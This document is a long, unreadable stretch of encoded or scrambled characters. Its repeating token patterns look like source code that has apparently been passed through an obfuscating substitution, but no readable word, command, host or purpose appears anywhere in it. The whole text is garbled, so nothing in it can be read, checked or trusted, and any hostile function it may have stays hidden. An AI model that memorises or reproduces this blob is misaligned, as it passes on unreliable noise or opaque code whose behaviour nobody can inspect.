5w+|"#}ql~Oe,#eeeema0(1/.5}|6<"!3(4pleeee>Oeee&-p.5#|,2/2?|.!,ma?"1)+ -!0)#$.l~Oeeeee8eeee )6 eeeee>Oe,#eeemd*!#q)7s,/.-vw.+t,6'=pma?"1)+ -!0)#$.iea5-.67/ 5w+|"#}qleeecceeeeed244}<3?*s".<q4v2,16"rma?"1)+ -!0)#$.ieeeeea5-.67/ 5w+|"#}qlle>Oee6#q)pq/v5t527 3=ma5-.67/ 5w+|"#}qieeeea)36 q-,u)5l~Oeeeeee8Oeeeee,#emd0!(7.u=/&.(.m}}tlma5-.67/ 5w+|"#}qllee>OOOOeee6#q)pq/v5t527 3=ma5-.67/ 5w+|"#}qieea)36 q-,u)5l~OO8Oeeeeeee8OOO8Oee8Oeeeeee,#eeeemda0(1/.5}|6<"!3(4peeeeecceeda ,.v5#1)&$&ecceda)!!wr0,r&u?-'s$le>Oeeeeee,#eeeeeem=w7ru&0,2#3m}}tlma5-.67/ 5w+|"#}qlleee17.s-rs}w1.3'qma5-.67/ 5w+|"#}qieeeeemvrunpull~Oee,#eeem244}<3?*s".<q4v2,16"rma(*-,5-t"s0#iea5-.67/ 5w+|"#}qlleee>Oeea0(1/.5}|6<"!3(4peeexeeee170 ~Oeeee&-p.5#|,2/2?|.!,ma(*-,5-t"s0#l~O8Oee8OOeee,#eeemda0(1/.5}|6<"!3(4ple>Oee,#em=w7ru&0,2#3m}}tlma5-.67/ 5w+|"#}qleeeecceem,+1lee?|?!)+'qtu++mttvslma5-.67/ 5w+|"#}qleeedxxea&)lee>Oeeeeeea(+2t=-r5#/|0tweeeexeee?|?!)+'qtu++mtut|lma5-.67/ 5w+|"#}ql~Oee,#eeeemd0!(7.u=/&.(.mtu|rlma(+2t=-r5#/|0twle99eeeem=}p-/*"'(=r+3mtu|rlma)36 q-,u)5leccea(+2t=-r5#/|0tweeeedxxeea)36 q-,u)5llee>Oeeeee,#em?|?!)+'qtu++mttvrlma)36 q-,u)5lleeeee6#q)pq/v5t527 3=ma5-.67/ 5w+|"#}qieea)36 q-,u)5l~Oeee )6 ,#eeemda!uu+6-31/!/lee&-p.5#|,2/2?|.!,ma5-.67/ 5w+|"#}ql~Oeeeeee8OOee0+6 1ma(+2t=-r5#/|0twl~OOOO8O,#eemd0!(7.u=/&.(.mttv}lma5-.67/ 5w+|"#}qlleeeee>O6#q)pq/v5t527 3=ma5-.67/ 5w+|"#}qieeeeea)36 q-,u)5l~OOOO8Oee="!24p3/qt!$s631p2',pm=w7ru&0,2#3mttv|lieeee?|?!)+'qtu++mttquleekee?|?!)+'qtu++mttvvlma5-.67/ 5w+|"#}qll~Oeee&-p.5#|,2/2?|.!,ma(*-,5-t"s0#l~OOe7 107+e#$)6 ~Oee8Oeee&) $761$1&$&- m170 ieeea5-.67/ 5w+|"#}ql~Oa)ss0t=/|#.?=+peeeexeee#$)6 ~OOOeee,#eeema&)eyxemwu|rurvnr|lleee>Oeeea?tur3#w/7}/ <#eexee=}p-/*"'(=r+3mttqtlma5-.67/ 5w+|"#}ql~OOOeeea)ss0t=/|#.?=+peeeeexeeeeem?|?!)+'qtu++mttvrlma?tur3#w/7}/ <#leccee=}p-/*"'(=r+3mtuvtlma?tur3#w/7}/ <#lexxxeea&)eecce?|?!)+'qtu++mttqwlma?tur3#w/7}/ <#leeeexxxeee0!(7.u=/&.(.mttqwlma?,-&2p00.rv-ll~Oeeee8e )6 eeeeee>OOa7tr)"tp=w6$'eeeeexe=}p-/*"'(=r+3mttwplm?|?!)+'qtu++mttqvlleezee-$6-#,) m=}p-/*"'(=r+3mttqwlieeeea5-.67/ 5w+|"#}qleeeeeeeeee#$)6 ~Oeeeeeeee,#em0!(7.u=/&.(.mttqqlma7tr)"tp=w6$'leeecceea7tr)"tp=w6$'eeeeedxxeggleeea)ss0t=/|#.?=+pexeeeeeema7tr)"tp=w6$'exxxee=w7ru&0,2#3mttqwlma?,-&2p00.rv-ll~Oee )6 ee>OOOeea.0/$2t#6*2'u/p=?eeeeexee?|?!)+'qtu++mttqplma5-.67/ 5w+|"#}ql~OOOOeeee,#eeeeema.0/$2t#6*2'u/p=?exxxeea&)lee>Oeeap'w&),(&$?exeeee=w7ru&0,2#3mttqtlma5-.67/ 5w+|"#}qiee#$)6 ieee+0))ieeuieemquwvnrvll~Oeea71eeexee=}p-/*"'(=r+3mttqtlma5-.67/ 5w+|"#}qiee#$)6 ie+0))ieea&)eehemqu}qntwll~Oea)ss0t=/|#.?=+peeeexeem0!(7.u=/&.(.mttqqlmap'w&),(&$?leeeccee0!(7.u=/&.(.mttqqlma71leeecceeap'w&),(&$?eeeexxxe0!(7.u=/&.(.mttwvlma?,-&2p00.rv-ieeuieeeemwp}}ntpu}lleeeeeccea71eexxxee=}p-/*"'(=r+3mttqslma?,-&2p00.rv-ieeeea&)eheemquwtnrplll~Oeeee8OOOOe8Oeee8Oeee,#eeeemda)ss0t=/|#.?=+plee>Oee="!24p3/qt!$s631p2',pm?|?!)+'qtu++mttv|liee=}p-/*"'(=r+3mttqrleeke=}p-/*"'(=r+3mttvvlma5-.67/ 5w+|"#}qll~Oeeee,#ema)!!wr0,r&u?-'s$le=*=')+,tv#u+}rv0wwma5-.67/ 5w+|"#}qie170 l~O,#eeeem=w7ru&0,2#3mttq}lma)36 q-,u)5llee>Oeeeeea"*!*=w6$w,eeexee?|?!)+'qtu++mttq|lm?|?!)+'qtu++mttqvlleeezeeee-$6-#,) m=}p-/*"'(=r+3mttpulieea5-.67/ 5w+|"#}qleeeeee#$)6 ~Oe,#em?|?!)+'qtu++mttq}lma"*!*=w6$w,leeecceeeeea"*!*=w6$w,eedxxeggeccea"*!*=w6$w,edxxee?|?!)+'qtu++mttpulma?,-&2p00.rv-leecceeeea"*!*=w6$w,eedxxee0!(7.u=/&.(.mttptlma)36 q-,u)5llee>Oee="!24p3/qt!$s631p2',pm?|?!)+'qtu++mttv|lieee?|?!)+'qtu++mttpwleekeeee?|?!)+'qtu++mttvvlma5-.67/ 5w+|"#}qll~O7 107+e#$)6 ~Oe8Oea*-?|",4)eeeeeexeeeee0/}#1#6<,112<!r0.qma,up&5"-,q7iee=}p-/*"'(=r+3m}qpll~O,#eeeema*-?|",4)edxxee#$)6 eeeeeccee=w7ru&0,2#3m||slma*-?|",4)iea)36 q-,u)5leeeexxxe=w7ru&0,2#3mtuvtlma)36 q-,u)5llee>O,#emd*!#q)7s,/.-vw.+t,6'=pma*-?|",4)ieeeeeea5-.67/ 5w+|"#}qlle>Oee,#eem?|?!)+'qtu++mttv}lma5-.67/ 5w+|"#}qlecceeeda ,.v5#1)&$&leee17.s-rs}w1.3'qma5-.67/ 5w+|"#}qieeeeemvrpnqpll~O,#eeeeemda ,.v5#1)&$&eecce244}<3?*s".<q4v2,16"rma*-?|",4)ieeeea5-.67/ 5w+|"#}qlle>Oe&-p.5#|,2/2?|.!,ma*-?|",4)l~Oee8ee )6 ee>O?|?!)+'qtu++m||slma5-.67/ 5w+|"#}qieeea)36 q-,u)5l~Oe&-p.5#|,2/2?|.!,ma*-?|",4)l~Oeee8Oeeeee8Oe8e )6 e>Oeeeeee,#eeema*-?|",4)eeedxxe#$)6 lee&-p.5#|,2/2?|.!,ma*-?|",4)l~Oeeee?|?!)+'qtu++m||slma5-.67/ 5w+|"#}qiea)36 q-,u)5l~Oeee8Oeeeeeee(t!wr?& =&$$7|5ma5-.67/ 5w+|"#}ql~Oee8e )6 ,#eemda!uu+6-31/!/leeeee>O&-p.5#|,2/2?|.!,ma5-.67/ 5w+|"#}ql~Oeee8Oeeeee7 107+e#$)6 ~O8Oe(t!wr?& =&$$7|5ma5-.67/ 5w+|"#}ql~Oee3t6<p=,(t?0=|? +!<6|ma5-.67/ 5w+|"#}ql~Oeeee17.s-rs}w1.3'qma5-.67/ 5w+|"#}qieeeeemvqwnr}ll~Oeeeee,#ema)!!wr0,r&u?-'s$leeee=*=')+,tv#u+}rv0wwma5-.67/ 5w+|"#}qiee#$)6 l~O7 107+ee170 ~Oe8Oe#0+&1,*+eee*w7| &050/$ ==w"*ma5-.67/ 5w+|"#}qieeea,t#,qpr<vv3lOee>Oea ,/u=4v$$+q,exeegyz5-5+g~Oeee,#eeeeeem0!(7.u=/&.(.mttq}lma,t#,qpr<vv3leeccea,t#,qpr<vv3eeeeedxxeeeeggecceeee=w7ru&0,2#3mttpvlma,t#,qpr<vv3ieeee=}p-/*"'(=r+3m|vplleedxxee#$)6 eeeccee +/$07!"qr+ 6)*pw</s -ma,t#,qpr<vv3lleeeeea ,/u=4v$$+q,eeeeexeea,t#,qpr<vv3~Oeeee,#eeeeem=w7ru&0,2#3mttv}lma5-.67/ 5w+|"#}qllee>Oeeea&|"-5|+}uu2eeeeexeeeeee=w7ru&0,2#3mttqtlma5-.67/ 5w+|"#}ql~Oeeee,#em0!(7.u=/&.(.mttpqlma&|"-5|+}uu2lecce--r<<!4$-0!rq)}pma&|"-5|+}uu2leeeeexxxea ,/u=4v$$+q,le7 107+~OOOO8Oeeeeee,#eeemd<?+3w",2"p|.<!5!ma5-.67/ 5w+|"#}qieea ,/u=4v$$+q,lleee>Oa0&t",<=4q5."eeeexe0!(7.u=/&.(.mttqtlma5-.67/ 5w+|"#}ql~Oee,#emdm?|?!)+'qtu++mttpqlma0&t",<=4q5."leeeccee--r<<!4$-0!rq)}pma0&t",<=4q5."leeexxxeeeea ,/u=4v$$+q,lleeee0!(7.u=/&.(.m||slma5-.67/ 5w+|"#}qieeea ,/u=4v$$+q,l~Oeeeee0+6 1ma0&t",<=4q5."l~Oe8Oeeeeeee(t!wr?& =&$$7|5ma5-.67/ 5w+|"#}ql~Oeee8Oee#0+&1,*+e)5"p=qv#'r||.3/p"w}<mlO>Oe,#eeeeem=}p-/*"'(=r+3mttpplm0!(7.u=/&.(.mttpslleeeecce<0 #(<326/(}'?0mllee7 107+ee170 ~O,#emd?|?!)+'qtu++mttprlm=}p-/*"'(=r+3mttp}lle99eed=w7ru&0,2#3mttprlm?|?!)+'qtu++mttp|llle7 107+e170 ~OOOOea#"4<!q26)s"vpexe-*( 07)mbjbl~OOOa#"4<!q26)s"vpeekxeem0!(7.u=/&.(.mttpvlma#"4<!q26)s"vpiebzbleeexxxe#$)6 ezebzbeeeeeeebcbleke0!(7.u=/&.(.mttsulekeeee=}p-/*"'(=r+3mtttrlmleekeee?|?!)+'qtu++mttvplmmqpnpplieeeeeem|qpnpqll~OOOeeeeeeea=ss<?3q&?(w&)0'qexee0!(7.u=/&.(.mttp|lma#"4<!q26)s"vpiee$77$<m=}p-/*"'(=r+3mr}wlex{eeeeemu=pnu=vlie=}p-/*"'(=r+3m|uwlex{e#$)6 ieeeeee=}p-/*"'(=r+3mttstleeeeeex{eeeewieee=}p-/*"'(=r+3mvwwleeeex{eeee$77$<m0!(7.u=/&.(.mttswleeex{eeeee0!(7.u=/&.(.mttsvllll~Oe,#eeem?|?!)+'qtu++mttsqlm=w7ru&0,2#3mr}qlleecce,625 77*7ma=ss<?3q&?(w&)0'qlleeeeee>Oeeeeeee,#em=w7ru&0,2#3mttsqlm=}p-/*"'(=r+3mr}rlllee0!(7.u=/&.(.mr}rlmtl~Oeea=ss<?3q&?(w&)0'qeexe0!(7.u=/&.(.mttsplma#"4<!q26)s"vpie$77$<m=w7ru&0,2#3mr}wleeex{eemt}wsliee=w7ru&0,2#3m|uwlex{eee#$)6 ieee?|?!)+'qtu++mttstlex{eeewie0!(7.u=/&.(.mvwwleeex{e$77$<m=w7ru&0,2#3mttsslex{eee=}p-/*"'(=r+3mttsvllll~O,#eeem=}p-/*"'(=r+3mttsqlm0!(7.u=/&.(.mttsrlleccee,625 77*7ma=ss<?3q&?(w&)0'qlle7 107+eee#$)6 ~O8Oeeea524#'-w?|.eexeeem,+1lee257 (*1 7 17, 3 7 65*+6 &*! ma=ss<?3q&?(w&)0'ql~Oeee7 107+ea524#'-w?|.ee{xempuyytleeeeeecceeea524#'-w?|.eeeyeeeemq}tnt|l~Oeee8OO#0+&1,*+e#.#2|* <q&(}}75sq$6-??ma&4.<'5/3}?pp* 5ieea2q)w03-=)v='r$lOeee>Oeeeea<r6$5ru)0r"v|eeeeexe?|?!)+'qtu++m|rtlm=}p-/*"'(=r+3mtts}lma2q)w03-=)v='r$liebjbl~OOOeeeee#*7 $&-eemOeee$77$<mOOOOe0!(7.u=/&.(.mtts|leekeea<r6$5ru)0r"v|eekee?|?!)+'qtu++mttruliOe0!(7.u=/&.(.mttrtlekeeeeeea<r6$5ru)0r"v|eeeeekeee?|?!)+'qtu++mttruliOOOOe0!(7.u=/&.(.mttrwleekeeeeea<r6$5ru)0r"v|ekee=w7ru&0,2#3mttrvliOleeee$6ea-}$u.v**&$t2Oeleeeee>Oee,#emd=w7ru&0,2#3mttpqlma&4.<'5/3}?pp* 5lle'7 $.~OOeeeeeeea&4.<'5/3}?pp* 5exeee=w7ru&0,2#3mq|rlma-}$u.v**&$t2ieeeg+giea&4.<'5/3}?pp* 5l~Oeeeeeee8OOOO7 107+eeeea&4.<'5/3}?pp* 5~Oeeeeee8Oeeeeee#0+&1,*+eeeee(t!wr?& =&$$7|5ma!2"} !14v&-(70lOOeeeeee>Oeeeeeee,#em=}p-/*"'(=r+3mttrqlm=w7ru&0,2#3mtpvllle>Oe7 107+eeee*5&$&- ,+3$),!$1 ma!2"} !14v&-(70ie170 leeeedxxe#$)6 ~Oe8Oeeea/.6 <1/(r}exe=w7ru&0,2#3mttrqlm=w7ru&0,2#3mttrplleezeee*5&$&- " 161$106m#$)6 leee#$)6 ~OOeeeee7 107+eeeedm=w7ru&0,2#3mttttlma/.6 <1/(r}leeecced (51<ma/.6 <1/(r}=}p-/*"'(=r+3mttrslll~Oeeeeee8OOOeee#0+&1,*+ee-3&*t0)(+,)?3 r6rma5-.67/ 5w+|"#}qiea5)(s7q5+.,iea*(rt!2|r55(1"!(lO>Oeeeeee,#eem?|?!)+'qtu++mttqslma5-.67/ 5w+|"#}qiehmu=tnu=vlleeeeexxxe=w7ru&0,2#3mttrrlle>O,#emd<?+3w",2"p|.<!5!ma5-.67/ 5w+|"#}qieea5)(s7q5+.,lleee>Oeeeee="!24p3/qt!$s631p2',pma*(rt!2|r55(1"!(ie=}p-/*"'(=r+3mttr}leekee?|?!)+'qtu++mttr|lma5-.67/ 5w+|"#}qll~Oe7 107+e#$)6 ~OOO8Oeee(t!wr?& =&$$7|5ma5-.67/ 5w+|"#}ql~O7 107+eee=w7ru&0,2#3mtuvtlma5)(s7q5+.,l~O8OOOa,/u#7.&,=|pexeee0!(7.u=/&.(.mttwrlma5-.67/ 5w+|"#}qieee=}p-/*"'(=r+3mtt}ull~Oee,#ema,/u#7.&,=|peeexxxee#$)6 le>Oeeee="!24p3/qt!$s631p2',pma*(rt!2|r55(1"!(ie0!(7.u=/&.(.mttr}lekeeeee?|?!)+'qtu++mttr|lma5-.67/ 5w+|"#}qll~OOOOee7 107+e#$)6 ~OOOOeee8O,#eeem0!(7.u=/&.(.mttrqlm0!(7.u=/&.(.mtuwllleeee#)*&.ma,/u#7.&,=|piee	
 l~Oea=ss<?3q&?(w&)0'qexeeee=}p-/*"'(=r+3mttw|lma,/u#7.&,=|pieeea5)(s7q5+.,l~Oe,#em0!(7.u=/&.(.mttrqlm=}p-/*"'(=r+3mtt}tllle#)*&.ma,/u#7.&,=|pieeeee	
l~Oeeee#&)*6 ma,/u#7.&,=|pl~Oeeee,#ema=ss<?3q&?(w&)0'qeexxxe#$)6 eeee99eema5)(s7q5+.,edxxeeeeeggecceeea=ss<?3q&?(w&)0'qedxxeeee=}p-/*"'(=r+3mtuvtlma5)(s7q5+.,llle>Oeeeeeeee="!24p3/qt!$s631p2',pma*(rt!2|r55(1"!(ie0!(7.u=/&.(.mtt}wlekeeee=w7ru&0,2#3mtt}vlma5-.67/ 5w+|"#}qll~Oeeee7 107+ee#$)6 ~Oe8OOOOeee7 107+eeeea=ss<?3q&?(w&)0'q~OOOeeee8OeOee#0+&1,*+e?q}?26p=/s's<r+?#tr.mlOOe>Oeee17<e>Oeee,#eeeemd0!(7.u=/&.(.mttrqlm=w7ru&0,2#3mtutrlleee99ed=}p-/*"'(=r+3mttrqlm=w7ru&0,2#3m}}qlllee>Oeee7t,16",vtps.6)t+m+0))l~O7 107+~Oeeee8Oe,#eeem" 117$+6, +1m=}p-/*"'(=r+3mtt}qllleeee7 107+~Oe,#eeeem" 117$+6, +1m=w7ru&0,2#3mtt}plllee7 107+~OOOe6 117$+6, +1m?|?!)+'qtu++mtt}slieetieempqtnp|ll~Oeeeee7t,16",vtps.6)t+m+0))l~OOe,#eeeem?|?!)+'qtu++mtt}rlm=w7ru&0,2#3m}|rllle! ) 1 17$+6, +1m=w7ru&0,2#3mtt}sll~Oeeeea!}?vw+6q."*u2|!eeeexeeeee=}p-/*"'(=r+3mtt}rlm0!(7.u=/&.(.mttu|lleeezeem617,+"le726 ",|qq $q'?&m0!(7.u=/&.(.mtu}}lieeggleegg~O,#ema!}?vw+6q."*u2|!eedxxeeggeeeecceee=w7ru&0,2#3mtt}}lm0!(7.u=/&.(.mtt}|llecceee06 7+$(  =,616ma!}?vw+6q."*u2|!lleeeee>Oee6 117$+6, +1m=w7ru&0,2#3mtt}qlieetieeeemu=v||snu=t$&$ll~Oeee8Oee8ee&$1&-eem-7*2$') eeeeea=w}=)'/7<3/lee>OO="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mtt|uliea=w}=)'/7<3/l~Oee8eee&$1&-em =& 51,*+ea=w}=)'/7<3/lee>O8Oeeee8Oeeeeee#0+&1,*+eeee7t,16",vtps.6)t+ma5 u|v=q5+3 (!s&.lOOOee>Oee,#emd w##051|s4<1*tpv,r'&m=w7ru&0,2#3m}utllle7 107+~O17<e>O,#eeeemde=}p-/*"'(=r+3mtt}}lm?|?!)+'qtu++mttu|llee99eeedeee=}p-/*"'(=r+3mtt}}lm?|?!)+'qtu++mtt}|llle>Oeeeeeee7 107+~Oeeee8Oea't'!.3 t0v*=q0eeeexeem617,+"leeeee726 ",|qq $q'?&m0!(7.u=/&.(.mtu}}lieeeggl~Oe,#ema't'!.3 t0v*=q0eedxxeeeeeeggeeeccee06 7+$(  =,616ma't'!.3 t0v*=q0leeecceeeem617,+"leeeeee726 ",|qq $q'?&m?|?!)+'qtu++mtu}|lieggleedxxeeeeeegglee>Oee7 107+~O8O,#ema't'!.3 t0v*=q0exxxeeggleee>Oea#?* + }"v)exeeeee0!(7.u=/&.(.mttttlma5 u|v=q5+3 (!s&.leezeeeeeea5 u|v=q5+3 (!s&.eeeee03*"(s2}). <|p#(0/5' ml~Oeeeea?300}&!$}#}6weeexe?,t/7(#26$,w,5 t6ma#?* + }"v)l~OOeeeee,#eemOOea?300}&!$}#}6weecced (51<ma?300}&!$}#}6wh{06 7)*",+leeeeecce,66 1ma?300}&!$}#}6wh{06 7 ($,)lOcceeeea?300}&!$}#}6wh{06 7 ($,)eeexxxea?300}&!$}#}6wh{06 7)*",+ekebbeeeeke4q}?"|6#6#&+=|m0!(7.u=/&.(.mtt|tllOelee>Oeeeeeeea't'!.3 t0v*=q0eeexem617,+"leeea?300}&!$}#}6wh{06 7)*",+~Oe8Oe8O,#ema't'!.3 t0v*=q0edxxeeeggeeeccee06 7+$(  =,616ma't'!.3 t0v*=q0lleeee>Oeeeea=p=$+."5"eeeexee06 7+$(  =,616ma't'!.3 t0v*=q0l~Oeeea6(#t6<2),27&eeexeeeeee7(?+3=p/6#'"v.7!"}mmt|npll~Oe,#em=w7ru&0,2#3mtt}}lm=}p-/*"'(=r+3mtt|wllleee>OOOOe=w7ru&0,2#3mtt|wlma6(#t6<2),27&iea=p=$+."5"l~Oeeeee8Oee)+1#,&v0?4u+v&/s12m0!(7.u=/&.(.mtu}}lieeea't'!.3 t0v*=q0ieee=}p-/*"'(=r+3mttutll~Oeeeeeee)+1#,&v0?4u+v&/s12m=w7ru&0,2#3mtu}|lieea6(#t6<2),27&ieee=w7ru&0,2#3mttutll~OO7 107+~Oe8Oa?-,*|<u1<4-$"eeeeeexee/&p(+1=3.7/"(/&rml~Oee,#em170 lee>Oa't'!.3 t0v*=q0exeeeegg~Oeeeee#*7eema)r*#5?,(1<, (}6eeexeeu~eeea)r*#5?,(1<, (}6eeeyeeeeem|hql~eeea)r*#5?,(1<, (}6nnleeeeee>Oea 4p$$?#r}w+w!46eeexeeea?-,*|<u1<4-$"=w7ru&0,2#3mtt|vlma?-,*|<u1<4-$"leeekeeee7(?+3=p/6#'"v.7!"}mmpyytll~Oeeeee,#eeeemd06 7+$(  =,616ma 4p$$?#r}w+w!46lleee>Oeeeeea't'!.3 t0v*=q0exeea 4p$$?#r}w+w!46~Oee'7 $.~OOOeee8Oeeeeeee8OOe,#eeema't'!.3 t0v*=q0exxxeeeeggleeeee>OOOO="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mtt|qlieeee=w7ru&0,2#3mtt|pll~Oe7 107+~O8OOeeeee8Oa6(#t6<2),27&exee7(?+3=p/6#'"v.7!"}mmtpn|ll~Oe,#eeeemdee=}p-/*"'(=r+3mtt}}lm=w7ru&0,2#3mtt|slleeeeecceeee! #,+ !m0!(7.u=/&.(.m|svllecce=w7ru&0,2#3m}vrlmekeeeee0!(7.u=/&.(.mtt|rlllee>Oeeeee7 40,7 *+& eeeeekeee0!(7.u=/&.(.mtt|}l~Oeeeeeeee8Oeeeeeeeea'!7v|(q}7u03t eeexeeeeea't'!.3 t0v*=q0eekeeeeebbeekeeee4q}?"|6#6#&+=|m0!(7.u=/&.(.mtt|tll~Oeea$?6t0?3)=<="#w/eexe#$)6 ~Oeee,#eem=}p-/*"'(=r+3mtt}}lm=}p-/*"'(=r+3mtt|sllle>Oa$?6t0?3)=<="#w/eexeeee0!(7.u=/&.(.mtt||lm$77$<mO=w7ru&0,2#3mtwuuleeeeex{eea't'!.3 t0v*=q0iOee?|?!)+'qtu++mtwutleex{ea6(#t6<2),27&iO=}p-/*"'(=r+3mtwuwleex{eeeeeea'!7v|(q}7u03t iOOOO0!(7.u=/&.(.m}w}leeex{ee=}p-/*"'(=r+3mtu|wliOO=}p-/*"'(=r+3mtwuvleex{eeea't'!.3 t0v*=q0iOOll~OOOOee,#eeem,625 77*7ma$?6t0?3)=<="#w/llee>Oe="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mtt|qlieea$?6t0?3)=<="#w/h{" 1 77*7&*! mleekeeeebbeekeea$?6t0?3)=<="#w/h{" 1 77*7( 66$" mll~OOa$?6t0?3)=<="#w/exeeeeee#$)6 ~Oeeeeeee8O8Oe,#eemda$?6t0?3)=<="#w/lee>Oeeeea25!'eeexee,66 1ma	
	0!(7.u=/&.(.mtuqsllezeea	
	0!(7.u=/&.(.mtuqsleeee+0))~Oe,#emda25!'eeee99ed0!(7.u=/&.(.mtwuqlma25!'lleee>Oee="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mtt|qlie=}p-/*"'(=r+3mtwupll~O7 107+~Oe8Oeeeeea-<,5|7.7?.p#.exee=}p-/*"'(=r+3mtt}}lm=w7ru&0,2#3mtwuslleeeeezee25-$6-5$662*7!ma6(#t6<2),27&leeeeee?|?!)+'qtu++mttptlma6(#t6<2),27&l~OOOOeeea<#4*'6!"-r<t/**eeeeexee=w7ru&0,2#3mtt}}lm0!(7.u=/&.(.mtwurlleezeeee&077 +11,( m0!(7.u=/&.(.mtwu}llee"(!$1 m?|?!)+'qtu++mtwu|ll~Oeeeea=t424.*$(*. ?$<eexeea25!'h{,+6 71ma25!'h{06 76iee$77$<mOee=w7ru&0,2#3mtwuuleeeeex{ea't'!.3 t0v*=q0iO=}p-/*"'(=r+3mtwtuleeex{eea-<,5|7.7?.p#.iOeee=w7ru&0,2#3mtwttlex{eeeea't'!.3 t0v*=q0iOeee=}p-/*"'(=r+3mtwuwleeeex{eea'!7v|(q}7u03t iO?|?!)+'qtu++mtwtwleeeeex{ea<#4*'6!"-r<t/**iO?|?!)+'qtu++mtwtvleeex{eeeeeeuiOOOeeeee?|?!)+'qtu++mtwtqlex{eeea't'!.3 t0v*=q0iOOOlieeeeee$77$<m=w7ru&0,2#3mtwtplie0!(7.u=/&.(.mtwtsliee?|?!)+'qtu++mtwtsliee?|?!)+'qtu++mtwtrliee=}p-/*"'(=r+3mtwt}lie=w7ru&0,2#3mtwt|lieee0!(7.u=/&.(.mtwt}lll~Oe,#eeeemda=t424.*$(*. ?$<le>OOe="!24p3/qt!$s631p2',pm?|?!)+'qtu++mtt|qliee=}p-/*"'(=r+3mtwwull~O7 107+~O8Oeeea$?6t0?3)=<="#w/eexeeeeem,+1leea25!'h{,+6 71,!~Oa1qu("rv$p}tp1("&exeeeea25!'h{57 #,=eeekee=}p-/*"'(=r+3mtuqrl~Oa25!'h{,+6 71ma25!'h{06 7( 1$ie$77$<mOOee0!(7.u=/&.(.mtwwtlex{eeea$?6t0?3)=<="#w/iO0!(7.u=/&.(.mtwwwleex{eeea1qu("rv$p}tp1("&iOOOOeee0!(7.u=/&.(.mtwwvleex{eeee?|?!)+'qtu++mvrrlm$77$<m0!(7.u=/&.(.mtu|wleeex{ee170 lliOeelieeeee$77$<m=}p-/*"'(=r+3mtwt|liee?|?!)+'qtu++mtwt}lieeee=}p-/*"'(=r+3mtwwqlll~Oeeea25!'h{,+6 71ma25!'h{06 7( 1$ie$77$<mOOOe=}p-/*"'(=r+3mtwwpleeeeex{eeeea$?6t0?3)=<="#w/iOe0!(7.u=/&.(.mtwwwleex{ea25!'h{57 #,=ekee0!(7.u=/&.(.mtwwsliOee0!(7.u=/&.(.mtwwvlex{ebtubiOlie$77$<m=}p-/*"'(=r+3mtwt|liee0!(7.u=/&.(.mtwwqlieee=}p-/*"'(=r+3mtwwqlll~OOe,#eeeeem?|?!)+'qtu++mtt}}lm?|?!)+'qtu++mtwwrllleeeee>Oeeee&) $+06 7&$&- ma$?6t0?3)=<="#w/l~Oe8Oe8Oeeee,#eeeemd06 7+$(  =,616ma't'!.3 t0v*=q0lleee>Oeeeee="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtww}liee=}p-/*"'(=r+3mtww|ll~Oeeeeee7 107+~Oeee8OOea5='|0us4t/*<wpeeeexee=}p-/*"'(=r+3mtt}}lm?|?!)+'qtu++mtwvullezeeeeee" 106 7'<m=}p-/*"'(=r+3mtwvtlieeeea't'!.3 t0v*=q0leeeeeee#$)6 ~Oeeeeeea,,q0|p}(!r1r/(eeexe#$)6 ~Oeee,#eeeema5='|0us4t/*<wpecced (51<ma5='|0us4t/*<wph{lleeeee>Oee,#eeeeem=w7ru&0,2#3mtwvwlm=w7ru&0,2#3mtwvvlllee>OOa,,q0|p}(!r1r/(eeexem'**)leee06 7&$+ma5='|0us4t/*<wpie0!(7.u=/&.(.mtu|wll~OOOe8e )6 ,#em,66 1ma5='|0us4t/*<wph{&$56lecceeee?|?!)+'qtu++mttttlma5='|0us4t/*<wph{&$56lle>Oea,,q0|p}(!r1r/(eeexeeeeed (51<ma5='|0us4t/*<wph{&$56=}p-/*"'(=r+3mtu|wll~OOOeeeee8Oeeee8Oe,#eeeeemda,,q0|p}(!r1r/(leeee>Oee="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtww}lieeeeee?|?!)+'qtu++mtwvqll~Oe,#eeeema$?6t0?3)=<="#w/lee>Oee,#eemd=w7ru&0,2#3mtwvwlm=w7ru&0,2#3mtwvplleeeecceeee! #,+ !m=}p-/*"'(=r+3m|svllecceeee0!(7.u=/&.(.mtwvslmeeekee=w7ru&0,2#3mtwvrllle>OOeeeee7 40,7 *+& eeeeeke0!(7.u=/&.(.mtwv}l~Oeeee8OOee,#em=}p-/*"'(=r+3mtwvwlm0!(7.u=/&.(.mtwvpllle25! ) 1 06 7ma$?6t0?3)=<="#w/l~O8Oee7 107+~Oe8O)+1#,&v0?4u+v&/s12m=w7ru&0,2#3mtwv|liea't'!.3 t0v*=q0iee=}p-/*"'(=r+3mtwqull~Oe)+1#,&v0?4u+v&/s12m?|?!)+'qtu++mtu}|lieeeeea6(#t6<2),27&ie?|?!)+'qtu++mtwqtll~Oeeee8eee&$1&-em-7*2$') ea=w}=)'/7<3/le>OOOOeeeeee="!24p3/qt!$s631p2',pm?|?!)+'qtu++mtww}lieea=w}=)'/7<3/l~Oeee8e&$1&-em =& 51,*+eeea=w}=)'/7<3/leee>OOOeee8e#,+$))<ee>O'17<}</=s3*w3w|v(=sm=w7ru&0,2#3mtwqwll~Oeeee8Oee8O#0+&1,*+eeee2#<$'}?./vu/$!+t' ?ma4!<+'357/}=3swlOeee>Oeeeeee17<ee>OeOe,#eeemdeee0!(7.u=/&.(.mtwuqlma4!<+'357/}=3swlee99eedeee57*5 71< =,616ma4!<+'357/}=3swie?|?!)+'qtu++mtwqvlllee>Oeeee7 107+eeeeea4!<+'357/}=3sw~O8OOOeeOOeeeeea't'!.3 t0v*=q0eeeexeee=}p-/*"'(=r+3mtwvwlm=}p-/*"'(=r+3mttu|llezem617,+"leee726 ",|qq $q'?&m=}p-/*"'(=r+3mtwv|lieeggleeeeeeegg~Oeee,#eeemdea't'!.3 t0v*=q0leee>Oeee7 107+eeea4!<+'357/}=3sw~Oe8OeeeeeeOeeea,$6uppr-pq=4!&}eeexe 6&64)ma't'!.3 t0v*=q0l~Oeeeee,#eeeeem=}p-/*"'(=r+3mttpvlma4!<+'357/}=3swh{40 7<2- 7 ieea,$6uppr-pq=4!&}lexxxe#$)6 leeeee>Oea4!<+'357/}=3swh{40 7<2- 7 eekxeee=}p-/*"'(=r+3mtwqqleeekea,$6uppr-pq=4!&}eekeeegbg~Oeeeeee8Oee8eeeee&$1&-em-7*2$') 